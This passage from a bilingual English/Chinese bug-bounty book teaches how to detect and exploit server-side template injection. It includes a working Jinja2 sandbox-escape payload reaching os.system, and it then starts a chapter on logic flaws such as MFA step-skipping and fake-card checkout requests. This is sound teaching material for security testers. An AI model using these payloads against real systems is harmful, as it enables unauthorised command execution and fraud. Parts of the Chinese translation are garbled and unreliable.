接下来，通过向先前识别出的输入字段注入测试字符串，检测模板注入漏洞。这个测试字符串应该包含常用模板语言中的特殊字符。我喜欢使用字符串{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]，因为它被设计为在流行的模板引擎中导致错误。${...} 是 FreeMarker 和 Thymeleaf Java 模板中表达式的特殊语法；{{...}} 是 PHP 模板（如 Smarty 或 Twig）和 Python 模板（如 Jinja2）中表达式的语法；<%= ... %> 是 Embedded Ruby 模板（ERB）中表达式的语法。而 [random expression] 则会使服务器将用户输入放入模板的表达式标记内并将其解释为列表项（稍后我们将讲述这种情况的一个例子）。

In this payload, I make the template engine resolve the variable with the name abcxx , which probably has not been defined in the application. If you get an application error from this payload, that’s a good indication of template injection, because it means that the special characters are being treated as special by the template engine. But if error messages are suppressed on the server, you need to use another method to detect template injection vulnerabilities.

在这个有效载荷中，我让模板引擎解析名称为abcxx的变量，这个变量可能没有在应用程序中定义。如果你从这个有效载荷中得到应用程序错误，这是一个很好的模板注入指示，因为这意味着特殊字符被模板引擎视为特殊字符。但是，如果服务器抑制错误消息，你需要使用另一种方法来检测模板注入漏洞。

Try providing these test payloads to the input fields ${7*7} , {{7*7}} , and <%= 7*7 %> . These payloads are designed to detect template injection in various templating languages. ${7*7} works for the FreeMarker and Thymeleaf Java templates; {{7*7}} works for PHP templates such as Smarty or Twig, and Python templates like Jinja2; and <%= 7*7 %> works for the ERB template. If any of the returned responses contain the result of the expression, 49, it means that the data is being interpreted as code by the template engine:

尝试将这些测试载荷提供给输入字段$ {7 * 7}，{{7 * 7}}和<%= 7 * 7 %>。这些载荷旨在检测各种模板语言中的模板注入。 $ {7 * 7}适用于FreeMarker和Thymeleaf Java模板; {{7 * 7}}适用于PHP模板，如Smarty或Twig，以及Python模板，如Jinja2;并且<%= 7 * 7 %>适用于ERB模板。如果返回的任何响应都包含表达式结果49，则表示模板引擎正在将数据解释为代码：

GET /display_name?name={{7*7}}
Host: example.com

While testing these endpoints for template injections, keep in mind that successful payloads don’t always cause results to return immediately. Some applications might insert your payload into a template somewhere else. The results of your injection could show up in future web pages, emails, and files. A time delay also might occur between when the payload is submitted and when the user input is rendered in a template. If you’re targeting one of these endpoints, you’ll need to look out for signs that your payload has succeeded. For example, if an application renders an input field unsafely when generating a bulk email, you will need to look at the generated email to check whether your attack has succeeded.

在测试这些端点时防注入模板，请注意成功的有效负载并不总是立即返回结果。有些应用程序可能会将您的有效负载插入到其他地方的模板中。您的注入结果可能会在未来的网页、电子邮件和文件中显示。在有效负载提交后和用户输入在模板中呈现之间，可能会发生时间延迟。如果您正在针对其中之一的端点，则需要注意您的有效负载是否成功。例如，如果应用程序在生成批量电子邮件时不安全地呈现输入字段，则需要查看生成的电子邮件以检查攻击是否成功。

The three test payloads ${7*7} , {{7*7}} , and <%= 7*7 %> would work when user input is inserted into the template as plaintext, as in this code snippet:

三个测试载荷 ${7*7}, {{7*7}}, 和 <%= 7*7 %> 当用户输入被插入模板中作为纯文本时将能够工作，就像这段代码片段中一样：

from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: " + user_input + "</h1></html>")print(tmpl.render())

But what if the user input is concatenated into the template as a part of the template’s logic, as in this code snippet?

但如果用户输入被连接到模板中并作为模板逻辑的一部分，如此代码片段所示，情况会怎样？

from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: {{" + user_input + "}}</h1></html>")print(tmpl.render())

Here, the user input is placed into the template within expression tags {{...}} . Therefore, you do not have to provide extra expression tags for the server to interpret the input as code. In that case, the best way to detect whether your input is being interpreted as code is to submit a random expression and see if it gets interpreted as an expression. In this case, you can input 7*7 to the field and see if 49 gets returned:

在这里，用户输入会被放置在表达式标签{{...}}中的模板中，因此您不必为服务器提供额外的表达式标签来解释输入为代码。在这种情况下，检测您的输入是否被解释为代码的最佳方法是提交一个随机表达式，并查看它是否被解释为表达式。在这种情况下，您可以将7 * 7输入到字段中并查看是否返回了49：

GET /display_name?name=7*7
Host: example.com

Step 3: Determine the Template Engine in Use

Once you’ve confirmed the template injection vulnerability, determine the template engine in use to figure out how to best exploit that vulnerability. To escalate your attack, you’ll have to write your payload with a programming language that the particular template engine expects.

确认模板注入漏洞后，确定使用的模板引擎以找出最佳利用方式。为了升级攻击，您需要使用特定模板引擎期望的编程语言编写有效载荷。

If your payload caused an error, the error message itself may contain the name of the template engine. For example, submitting my test string {{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx] to our example Python application would cause a descriptive error that tells me that the application is using Jinja2:

如果你的载荷导致了错误，错误信息本身可能包含模板引擎的名称。例如，将我的测试字符串{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]提交到我们的示例Python应用程序中，将引起一个详细的错误，告诉我应用程序正在使用Jinja2：

jinja2.exceptions.UndefinedError: 'abcxx' is undefined

Otherwise, you can figure out the template engine in use by submitting test payloads specific to popular template languages. For example, if you submit <%= 7*7 %> as the payload and 49 gets returned, the application probably uses the ERB template. If the successful payload is ${7*7} , the template engine could either be Smarty or Mako. If the successful payload is {{7*7}} , the application is likely using Jinja2 or Twig. At that point, you could submit another payload, {{7*'7'}} , which would return 7777777 in Jinja2 and 49 in Twig. These testing payloads are taken from PortSwigger research: https://portswigger.net/research/server-side-template-injection/ .

否则，你可以通过提交特定于流行模板语言的测试载荷来确定模板引擎的使用情况。例如，如果您提交 <%= 7*7 %> 作为载荷并返回 49，则该应用程序可能使用 ERB 模板。如果成功的负载是 $ {7*7}，则模板引擎可能是 Smarty 或 Mako。如果成功的负载是 {{7*7}}，则应用程序可能使用 Jinja2 或 Twig。在那时，您可以提交另一个负载{{7□7}，它将在Jinja2中返回7777777，在Twig中返回49。这些测试载荷来自PortSwigger研究：https://portswigger.net/research/server-side-template-injection/。

Many other template engines are used by web applications besides the ones I’ve talked about. Many have similar special characters designed not to interfere with normal HTML syntax, so you might need to perform multiple test payloads to definitively determine the type of template engine you are attacking.

除了我所提到的模板引擎，许多其他网络应用程序也在使用。许多模板引擎都使用类似的特殊字符，以设计不会干扰正常的HTML语法，因此您可能需要执行多个测试负载以明确确定要攻击的模板引擎的类型。

Escalating the Attack

Once you’ve determined the template engine in use, you can start to escalate the vulnerability you’ve found. Most of the time, you can simply use the 7*7 payload introduced in the preceding section to prove the template injection to the security team. But if you can show that the template injection can be used to accomplish more than simple mathematics, you can prove the impact of your bug and show the security team its value.

一旦确定了使用的模板引擎，就可以开始升级发现的漏洞。大多数情况下，您可以简单地使用前面章节中介绍的 7 * 7 负载来证明模板注入的安全团队。但是，如果您可以显示模板注入可以用于完成更复杂的数学运算，那么就可以证明漏洞的影响，并向安全团队展示其价值。

Your method of escalating the attack will depend on the template engine you’re targeting. To learn more about it, read the official documentation of the template engine and the accompanying programming language. Here, I’ll show how you can escalate a template injection vulnerability to achieve system command execution in an application running Jinja2.

升级攻击的方式取决于你针对的模板引擎。要了解更多信息，请阅读模板引擎和相关编程语言的官方文档。在这里，我将展示如何将模板注入漏洞升级，以在运行Jinja2的应用程序中实现系统命令执行。

Being able to execute system commands is extremely valuable for the attacker because it might allow them to read sensitive system files like customer data and source code files, update system configurations, escalate their privileges on the system, and attack other machines on the network. For example, if an attacker can execute arbitrary system commands on a Linux machine, they can read the system’s password file by executing the command cat /etc/shadow . They can then use a password-cracking tool to crack the system admin’s encrypted password and gain access to the admin’s account.

攻击者能够执行系统命令是非常有价值的，因为这可能允许他们读取敏感的系统文件，比如客户数据和源代码文件，更新系统配置，提升他们在系统上的权限，并攻击网络中的其他计算机。例如，如果攻击者能够在Linux机器上执行任意系统命令，他们可以通过执行 cat /etc/shadow 命令读取系统的密码文件。然后，他们可以使用密码破解工具来破解系统管理员的加密密码并访问管理员的帐户。

Searching for System Access via Python Code

Let’s circle back to our example application. We already know that you can execute Python code by using this template injection vulnerability. But how do you go on to execute system commands by injecting Python code?

让我们回到我们的示例应用。我们已经知道通过使用模板注入漏洞可以执行Python代码。但是，如何通过注入Python代码来执行系统命令呢？

from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: " + user_input + "</h1></html>")print(tmpl.render())

Normally in Python, you can execute system commands via the os.system() function from the os module. For example, this line of Python code would execute the Linux system command ls to display the contents of the current directory:

通常情况下，在Python中，您可以通过os模块的os.system()函数执行系统命令。例如，这行Python代码会执行Linux系统命令ls，以显示当前目录的内容。

os.system('ls')

However, if you submit this payload to our example application, you most likely won’t get the results you expect:

然而，如果您将此有效载荷提交到我们的示例应用程序中，您很可能无法获得您预期的结果。

GET /display_name?name={{os.system('ls')}}
Host: example.com

Instead, you’ll probably run into an application error:

相反，您可能会遇到应用程序错误：

jinja2.exceptions.UndefinedError: 'os' is undefined

This is because the os module isn’t recognized in the template’s environment. By default, it doesn’t contain dangerous modules like os . Normally, you can import Python modules by using the syntax import MODULE , or from MODULE import * , or finally __import__(' MODULE ' ) . Let’s try to import the os module:

这是因为模板环境中没有识别到`os`模块。默认情况下，它不包含像`os`这样的不安全模块。通常情况下，您可以通过以下语法导入Python模块：`import MODULE`，或者`from MODULE import *`，或最后`__import__('MODULE')`。让我们尝试导入`os`模块：

GET /display_name?name="{{__import__('os').system('ls')}}"
Host: example.com

If you submit this payload to the application, you will probably see another error returned:

如果您提交此有效负载到应用程序，则可能会返回另一个错误。

jinja2.exceptions.UndefinedError: '__import__' is undefined

This is because you can’t import modules within Jinja templates. Most template engines will block the use of dangerous functionality such as import or make an allowlist that allows users to perform only certain operations within the template. To escape these limitations of Jinja2, you need to take advantage of Python sandbox-escape techniques.

这是因为在Jinja模板中不能导入模块。大多数模板引擎将阻止使用危险功能，例如导入或创建允许用户在模板中执行某些操作的白名单。为了摆脱Jinja2的这些限制，您需要利用Python沙箱逃逸技术。

Escaping the Sandbox by Using Python Built-in Functions

One of these techniques involves using Python’s built-in functions. When you’re barred from importing certain useful modules or importing anything at all, you need to investigate functions that are already imported by Python by default. Many of these built-in functions are integrated as a part of Python’s object class, meaning that when we want to call these functions, we can create an object and call the function as a method of that object. For example, the following GET request contains Python code that lists the Python classes available:

其中一种技术包括使用Python的内置函数。当禁止导入某些有用的模块或根本不允许导入任何东西时，您需要调查Python默认已导入的函数。许多这些内置函数都是作为Python的对象类的一部分集成的，这意味着当我们想调用这些函数时，我们可以创建一个对象并将函数作为该对象的方法调用。例如，以下GET请求包含列出可用Python类的Python代码：

GET /display_name?name="{{[].__class__.__bases__[0].__subclasses__()}}"
Host: example.com

When you submit this payload into the template injection endpoint, you should see a list of classes like this:

当你将这个有效载荷提交到模板注入端点时，你应该会看到这样一个类列表：

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>...]

To better understand what’s happening here, let’s break down this payload a bit:

为了更好地理解这里正在发生的事情，让我们简要分析一下这个有效载荷：

[].__class__.__bases__[0].__subclasses__()

It first creates an empty list and calls its __class__ attribute, which refers to the class the instance belongs to, list :

首先创建一个空列表，并调用其 __class__ 属性，该属性指向实例所属的类，即列表类：

[].__class__

Then you can use the __bases__ attribute to refer to the base classes of the list class:

你可以使用 __bases__ 属性来引用列表类的基类:

[].__class__.__bases__

This attribute will return a tuple (which is just an ordered list in Python) of all the base classes of the class list . A base class is a class that the current class is built from; list has a base class called object . Next, we need to access the object class by referring to the first item in the tuple:

这个属性将返回一个元组（在Python中只是一个有序列表），其中包含所有类列表的基类。基类是当前类构建的类；列表有一个名为object的基类。接下来，我们需要通过引用元组中的第一个项来访问object类：

[].__class__.__bases__[0]

Finally, we use __subclasses__() to refer to all the subclasses of the class:

最后，我们使用__subclasses__()来引用类的所有子类：

[].__class__.__bases__[0].__subclasses__()

When we use this method, all the subclasses of the object class become accessible to us! Now, we simply need to look for a method in one of these classes that we can use for command execution. Let’s explore one possible way of executing code. Before we go on, keep in mind that not every application’s Python environment will have the same classes. Moreover, the payload I’ll talk about next may not work on all target applications.

当我们使用这种方法时，所有对象类的子类都可以被我们访问！现在，我们只需要在这些类中寻找一个能用于命令执行的方法。让我们探索一种可能的执行代码的方式。在继续之前，请记住，不是每个应用程序的Python环境都具有相同的类。此外，我接下来要谈论的有效负载可能无法在所有目标应用程序上运行。

The __import__ function, which can be used to import modules, is one of Python’s built-in functions. But since Jinja2 is blocking its direct access, you will need to access it via the builtins module. This module provides direct access to all of Python’s built-in classes and functions. Most Python modules have __builtins__ as an attribute that refers to the built-in module, so you can recover the builtins module by referring to the __builtins__ attribute.

__import__函数是Python内置函数之一，可用于导入模块。但由于Jinja2阻止其直接访问，因此您需要通过builtins模块访问它。该模块提供了对Python所有内置类和函数的直接访问。大多数Python模块都有__builtins__属性，该属性指向内置模块，因此您可以通过引用__builtins__属性来恢复builtins模块。

Within all the subclasses in [].__class__.__bases__[0].__subclasses__() , there is a class named catch_warnings . This is the subclass we’ll use to construct our exploit. To find the catch_warnings subclass, inject a loop into the template code to look for it:

在[].__class__.__bases__[0].__subclasses__()的所有子类中，有一个名为catch_warnings的类。 这是我们用来构造攻击的子类。 要找到catch_warnings子类，请将循环注入模板代码以寻找它：

1 {% for x in [].__class__.__bases__[0].__subclasses__() %}
2 {% if 'catch_warnings' in x.__name__ %}
3 {{x()}}
{%endif%}
{%endfor%}

This loop goes through all the classes in [].__class__.__bases__[0].__subclasses__() 1 and finds the one with the string catch_warnings in its name 2 . Then it instantiates an object of that class 3 . Objects of the class catch_warnings have an attribute called _module that refers to the warnings module.

此循环遍历[]中的所有类。__class__.__bases__[0].__subclasses__()并查找名称中包含字符串catch_warnings的类。然后实例化该类的对象。 catch_warnings类的对象具有称为_module的属性，该属性引用warnings模块。

Finally, we use the reference to the module to refer to the builtins module:

最终，我们使用对模块的引用来引用内置模块：

{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__}}
{%endif%}
{%endfor%}

You should see a list of built-in classes and functions returned, including the function __import__ :

你应该看到返回的内置类和函数列表，其中包括函数__import__：

{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the 'nil' object; Ellipsis represents '...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, ...}

We now have a way to access the import functionality! Since the built-in classes and functions are stored in a Python dictionary, you can access the __import__ function by referring to the key of the function’s entry in the dictionary:

我们现在有一种访问导入功能的方法！由于内置类和函数存储在Python字典中，您可以通过引用函数条目在字典中的键来访问__import__函数：

{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__['__import__']}}
{%endif%}
{%endfor%}

Now we can use the __import__ function to import the os module. You can import a module with __import__ by providing the name of that module as an argument. Here, let’s import the os module so we can access the system() function:

现在我们可以使用__import__函数来导入os模块。您可以通过将该模块的名称作为参数来使用__import__导入模块。在这里，让我们导入os模块，以便我们可以访问system()函数：

{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os')}}
{%endif%}
{%endfor%}

Finally, call the system() function and put the command we want to execute as the system() function’s argument:

最后，调用system()函数并将我们想要执行的命令作为system()函数的参数。

{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').system('ls')}}
{%endif%}
{%endfor%}

You should see the results of the ls command returned. This command lists the contents of the current directory. You’ve achieved command execution! Now, you should be able to execute arbitrary system commands with this template injection.

你应该看到ls命令返回的结果。此命令列出当前目录的内容。你已经成功执行了命令！现在，你应该能够使用此模板注入执行任意系统命令。

Submitting Payloads for Testing

For testing purposes, you should execute code that doesn’t harm the system you’re targeting. A common way of proving that you’ve achieved command execution and gained access to the operating system is to create a file with a distinct filename on the system, such as template_injection_by_YOUR_BUG_BOUNTY_USERNAME.txt , so that the file is clearly a part of your proof of concept. Use the touch command to create a file with the specified name in the current directory:

为了测试目的，您应该执行不会损害目标系统的代码。证明您已经成功执行命令并获得了对操作系统的访问权限的一种常见方法是在系统上创建一个具有独特文件名的文件，例如template_injection_by_YOUR_BUG_BOUNTY_USERNAME.txt，以便文件明显是您概念证明的一部分。使用touch命令在当前目录中创建具有指定名称的文件：

{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').system('touch template_injection_by_vickie.txt')}}
{%endif%}
{%endfor%}

Different template engines require different escalation techniques. If exploring this interests you, I encourage you to do more research into the area. Code execution and sandbox escapes are truly fascinating topics. We will discuss more about how to execute arbitrary code on target systems in Chapter 18. If you are interested in learning more about sandbox escapes, these articles discuss the topic in more detail (this chapter’s example was developed from a tip in Programmer Help):

不同的模板引擎需要不同的升级技术。如果您对此感兴趣，我鼓励您进一步研究这个领域。代码执行和沙箱逃逸是非常迷人的主题。我们将在第18章更多地讨论如何在目标系统上执行任意代码。如果您想了解更多有关沙箱逃逸的信息，这些文章会更详细地讨论该主题（本章的示例来自程序员帮助的提示）。

CTF Wiki, https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/

HackTricks, https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes/

Programmer Help, https://programmer.help/blogs/python-sandbox-escape.html

Automating Template Injection

Developing exploits for each system you target can be time-consuming. Luckily, templates often contain already known exploits that others have discovered, so when you find a template injection vulnerability, it’s a good idea to automate the exploitation process to make your work more efficient.

为每一个你针对的系统开发漏洞利用可能非常耗费时间。幸运的是，模板通常包含其他人发现的已知漏洞，因此当您发现一个模板注入漏洞时，自动化利用过程是个不错的选择，可以让您的工作更有效率。

One tool built to automate the template injection process, called tplmap ( https://github.com/epinna/tplmap/ ), can scan for template injections, determine the template engine in use, and construct exploits. While this tool does not support every template engine, it should provide you with a good starting point for the most popular ones.

一个用于自动化模板注入过程的工具叫做tplmap（https://github.com/epinna/tplmap/），它可以扫描模板注入，确定使用的模板引擎，并构建攻击。虽然这个工具不支持每个模板引擎，但它应该为大多数流行的模板引擎提供一个很好的起点。

Finding Your First Template Injection!

It’s time to find your first template injection vulnerability by following the steps we discussed in this chapter:

是时候按照本章节讨论的步骤，找到你的第一个模板注入漏洞了。

Identify any opportunity to submit user input to the application. Mark down candidates of template injection for further inspection.

Detect template injection by submitting test payloads. You can use either payloads that are designed to induce errors, or engine-specific payloads designed to be evaluated by the template engine.

If you find an endpoint that is vulnerable to template injection, determine the template engine in use. This will help you build an exploit specific to the template engine.

Research the template engine and programming language that the target is using to construct an exploit.

Try to escalate the vulnerability to arbitrary command execution.

Create a proof of concept that does not harm the targeted system. A good way to do this is to execute touch template_injection_by_ YOUR_NAME .txt to create a specific proof-of-concept file.

Draft your first template injection report and send it to the organization!

17
Application Logic Errors and Broken Access Control

Application logic errors and broken access control vulnerabilities are quite different from those we’ve discussed so far. Most of the vulnerabilities covered in previous chapters are caused by faulty input validation: they happen when polluted user input is processed without proper sanitization. These malicious inputs are syntactically different from normal user input and are designed to manipulate application logic and cause damage to the application or its users.

应用程序逻辑错误和破坏访问控制漏洞与我们到目前为止所讨论的那些漏洞非常不同。前几章涵盖的大多数漏洞都是由于输入验证错误造成的：它们发生在未经适当清理的污染用户输入被处理时。这些恶意输入与正常用户输入在语法上有所不同，旨在操纵应用程序逻辑并对应用程序或其用户造成损害。

On the other hand, application logic errors and broken access control issues are often triggered by perfectly valid HTTP requests containing no illegal or malformed character sequences. Still, these requests are crafted intentionally to misuse the application’s logic for malicious purposes or circumvent the application’s access control.

另一方面，应用程序逻辑错误和破损的访问控制问题通常由完全有效的HTTP请求触发，不包含任何非法或格式错误的字符序列。然而，这些请求是有意制作出来的，以恶意目的滥用应用程序的逻辑或规避应用程序的访问控制。

Application logic errors are logic flaws in an application. Sometimes attackers can exploit them to cause harm to the organization, the application, or its users. Broken access control occurs when sensitive resources or functionality are not properly protected. To find these vulnerabilities, you cannot simply rely on your technical knowledge. Instead, you need to use your creativity and intuition to bypass restrictions set by the developers. This chapter explains these vulnerabilities, how they manifest in applications, and how you can test for them.

应用程序逻辑错误是应用程序中的逻辑缺陷。有时攻击者可以利用它们来对组织、应用程序或其用户造成伤害。破损的访问控制是指没有正确保护敏感资源或功能。要发现这些漏洞，您不能仅仅依赖您的技术知识。相反，您需要使用您的创造力和直觉来绕过开发人员设置的限制。本章介绍这些漏洞在应用程序中的表现，以及您如何测试它们。

Application Logic Errors

Application logic errors , or business logic vulnerabilities , are ways of using the legitimate logic flow of an application that result in a negative consequence to the organization. Sound a bit abstract? The best way to understand them is to look at a few examples.

应用程序逻辑错误或业务逻辑漏洞是利用应用程序的合法逻辑流程导致组织出现负面后果的方式。听起来有点抽象？了解它们的最好方法是看一些示例。

A common application logic error I’ve seen in the websites I’ve targeted is a flaw in the site’s multifactor authentication functionality. Multifactor authentication , or MFA , is the practice of requiring users to prove their identities in more than one way. MFA protects users in the event of password compromise by requiring them to authenticate with both a password and another proof of identity—typically a phone number or an email account, but sometimes via an authentication app, a physical key, or even fingerprints. Most MFA implementations prompt the user to authenticate using both a password and an authorization code delivered via email or text message.

我在攻击的网站中经常遇到的常见应用逻辑错误是网站的多因素认证功能的漏洞。 多因素认证（MFA）是一种要求用户以多种方式证明其身份的做法。 MFA通过要求用户使用密码和另一种身份证明方式（通常是电话号码或电子邮件帐户，但有时也会通过认证应用程序，物理钥匙甚至指纹）进行身份验证，保护用户在密码泄露事件中的安全。 大多数MFA实施会提示用户使用密码和通过电子邮件或短信提供的授权代码进行身份验证。

But MFA implementations are often compromised by a logic error I call the skippable authentication step , which allows users to forgo a step in the authentication process. For example, let’s say an application implements a three-step login process. First, the application checks the user’s password. Then, it sends an MFA code to the user and verifies it. Finally, the application asks a security question before logging in the user:

但是MFA实现通常会受到我称之为可跳过身份验证步骤的逻辑错误的影响，这使得用户可以跳过身份验证过程中的某一步骤。例如，假设一个应用程序实现了一个三步登录过程。首先，该应用程序检查用户的密码。然后，它发送一个MFA代码给用户并验证它。最后，该应用程序在登录用户之前询问一个安全问题。

Step 1 (Password Check) ▶ Step 2 (MFA) ▶ Step 3 (Security Questions)

步骤1（密码检查）▶ 步骤2（多因素认证）▶ 步骤3（安全问题）

A normal authentication flow would look like this:

一个正常的身份验证流程应该是这样的：

The user visits https://example.com/login/ . The application prompts the user for their password, and the user enters it.

If the password is correctly entered, the application sends an MFA code to the user’s email address and redirects the user to https://example.com/mfa/ . Here, the user enters the MFA code.

The application checks the MFA code, and if it is correct, redirects the user to https://example.com/security_questions/ . There, the application asks the user several security questions and logs in the user if the answers they provided are correct.

Sometimes, though, users can reach step 3 in the authentication process without clearing steps 1 and 2. While the vulnerable application redirects users to step 3 after the completion of step 2, it doesn’t verify that step 2 is completed before users are allowed to advance to step 3. In this case, all the attacker has to do is to manipulate the site’s URL and directly request the page of a later stage.

有时，用户可能会在身份验证过程中达到第3步，而无需清除第1和第2步。 虽然易受攻击的应用程序在完成第2步后将用户重定向到第3步，但在允许用户进入第3步之前，它并未验证是否已完成第2步。 在这种情况下，攻击者所要做的就是操纵站点的URL并直接请求一个后期阶段的页面。

If attackers can directly access https://example.com/security_questions/ , they could bypass the multifactor authentication entirely. They might be able to log in with someone’s password and answers to their security questions alone, without needing their MFA device.

如果攻击者可以直接访问https://example.com/security_questions/，他们可以完全绕过多因素身份验证。他们可能只需要使用某人的密码和安全问题的答案就能够登录，而无需使用他们的MFA设备。

Another time application logic errors tend to manifest is during multistep checkout processes. Let’s say an online shop allows users to pay via a saved payment method. When users save a new payment method, the site will verify whether the credit card is valid and current. That way, when the user submits an order via a saved payment method, the application won’t have to verify it again.

另一个应用程序逻辑错误往往在多步结帐过程中显现。假设一个在线商店允许用户通过保存的付款方式支付。当用户保存新的付款方式时，网站将验证信用卡是否有效和当前。这样，当用户通过保存的付款方式提交订单时，应用程序就不需要再次验证。

Say that the POST request to submit the order with a saved payment method looks like this, where the payment_id parameter refers to the ID of the user’s saved credit card:

POST请求识别出具有已保存付款方式的订单，其形式如下，其中payment_id参数指的是用户保存的信用卡的ID：

POST /new_order
Host: shop.example.com

(POST request body)
item_id=123
&quantity=1
&saved_card=1
&payment_id=1

Users can also pay with a new credit card for each order. If users pay with a new credit card, the card will be verified at the time of checkout. Say the POST request to submit the order with a new payment method looks like this:

用户还可以使用每个订单的新信用卡进行付款。如果用户使用新信用卡付款，该信用卡将在结帐时进行验证。提交带有新付款方式的POST请求如下所示：

POST /new_order
Host: shop.example.com

(POST request body)
item_id=123
&quantity=1
&card_number=1234-1234-1234-1234

To reiterate, the application will verify the credit card number only if the customer is using a new payment method. But the application also determines whether the payment method is new by the existence of the saved_card parameter in the HTTP request. So a malicious user can submit a request with a saved_card parameter and a fake credit card number. Because of this error in payment verification, they could order unlimited items for free with the unverified card:

强调一下，只有当客户使用新的支付方法时，应用程序才会验证信用卡号。但是，应用程序还通过HTTP请求中已保存的card参数来确定付款方式是否为新，因此恶意用户可以提交一个带有saved_card参数和虚假信用卡号的请求。由于付款验证中的这个错误，他们可以使用未经验证的卡无限制免费订购商品。

POST /new_order
Host: shop.example.com

(POST request body)
item_id=123
&quantity=1
&saved_card=1
&card_number=0000-0000-0000-0000

Application logic errors like these are prevalent because these flaws cannot be scanned for automatically. They can manifest in too many ways, and most current vulnerability scanners don’t have the intelligence to understand application logic or business requirements.

应用程序逻辑错误像这样是普遍的，因为这些漏洞无法自动扫描。它们可能以太多方式表现出来，并且大多数当前的漏洞扫描器没有理解应用程序逻辑或业务要求的智能。

Broken Access Control

Our credit card processing example could also be classified as a broken access control issue. Broken access control occurs when access control in an application is improperly implemented and can be bypassed by an attacker. For example, the IDOR vulnerabilities discussed in Chapter 10 are a common broken access control issue that applications face.

“我们的信用卡处理示例也可以被归类为破损的访问控制问题。破损的访问控制指的是当应用程序的访问控制不正确地实施时，攻击者可以绕过。例如，第10章讨论的IDOR漏洞是应用程序面临的常见破损的访问控制问题。”

But there are many other broken access control issues common in web applications that you should learn about if you hope to become an effective hacker. Let’s look at a few of them.

然而，许多其他的 Web 应用程序也存在许多常见的访问控制问题，如果你希望成为一个有效的黑客，你必须学习它们。让我们看一些例子。

Exposed Admin Panels

Applications sometimes neglect or forget to lock up sensitive functionalities such as the admin panels used to monitor the application. Developers may mistakenly assume that users can’t access these functionalities because they aren’t linked from the main application, or because they’re hidden behind an obscure URL or port. But attackers can often access these admin panels without authentication, if they can locate them. For example, even if the application example.com hides its admin panel behind an obscure URL such as https://example.com/YWRtaW4/admin.php , an attacker might still be able to find it via Google dorks or URL brute-forcing.

应用程序有时会忽略或忘记锁定敏感功能，比如用于监控应用程序的管理面板。开发人员可能错误地认为用户无法访问这些功能，因为它们没有链接到主应用程序，或者因为它们隐藏在一个晦涩的 URL 或端口后面。但是，攻击者通常可以在不进行身份验证的情况下访问这些管理面板，如果他们能够找到它们的话。例如，即使应用程序 example.com 将其管理面板隐藏在一个晦涩的 URL https://example.com/YWRtaW4/admin.php 后面，攻击者仍然可能通过 Google dorks 或 URL 等方式找到它。

Sometimes applications don’t implement the same access control mechanisms for each of the various ways of accessing their sensitive functionalities. Say the admin panel is properly secured so that only those with valid admin credentials can access it. But if the request is coming from an internal IP address that the machine trusts, the admin panel won’t ask the user to authenticate. In this case, if an attacker can find an SSRF vulnerability that allows them to send internal requests, they can access the admin panel without authentication.

